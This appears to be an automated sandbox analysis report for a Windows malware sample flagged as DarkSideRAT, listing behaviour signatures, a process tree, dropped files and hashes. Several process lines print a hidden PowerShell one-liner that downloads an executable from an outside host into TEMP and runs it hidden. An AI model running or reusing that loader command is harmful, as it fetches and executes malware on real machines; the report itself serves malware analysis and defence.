Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    23/08/2026, 04:34

General

  • Target
    2026-08-22_95ffccb4e3294f28738385aab805a127_glassworm_icedid_luca-stealer_njrat_stealc_vidar.exe
  • Size 28.3MB
  • Sample260823-e67ymsej9y
  • SHA256 358283eda0870328ee8a3d913ab2e8cf627274424c267f5f947c5821fd3417ef
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

  • Detects DarkSideRAT 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-22_95ffccb4e3294f28738385aab805a127_glassworm_icedid_luca-stealer_njrat_stealc_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-22_95ffccb4e3294f28738385aab805a127_glassworm_icedid_luca-stealer_njrat_stealc_vidar.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4852
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK113645.exe; Start-Process -FilePath $env:TEMP\BK113645.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3644
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK113645.exe; Start-Process -FilePath $env:TEMP\BK113645.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3180
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK113645.exe; Start-Process -FilePath $env:TEMP\BK113645.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3316
          • C:\Users\Admin\AppData\Local\Temp\BK113645.exe
            "C:\Users\Admin\AppData\Local\Temp\BK113645.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4840
            • C:\Windows\System32\PATHPING.EXE
              "C:\Windows\System32\PATHPING.EXE"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              PID:740

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        BK113645.exe

        • Path C:\Users\Admin\AppData\Local\Temp\BK113645.exe
        • Size 46KB
        • SHA256 faba2d6acfa49f75b81572000c702768c235b3de5c98c6c16f2c474ec6b3f0a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_0iy3nbjc.wa1.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0iy3nbjc.wa1.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/740-54-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/740-51-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/740-53-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/740-35-0x000001EAA3610000-0x000001EAA3611000-memory.dmp

        memory/740-34-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/740-41-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/740-42-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/740-47-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/740-49-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/740-50-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/740-43-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/740-36-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/740-52-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/740-55-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/740-48-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/740-46-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/740-45-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/740-44-0x000001EAA2F50000-0x000001EAA3610000-memory.dmp

        memory/3316-1-0x00000161289A0000-0x00000161289B0000-memory.dmp

        memory/3316-4-0x0000016128960000-0x0000016128982000-memory.dmp

        memory/3316-0-0x00000161289A0000-0x00000161289B0000-memory.dmp

        memory/4840-29-0x0000000180000000-0x0000000180022000-memory.dmp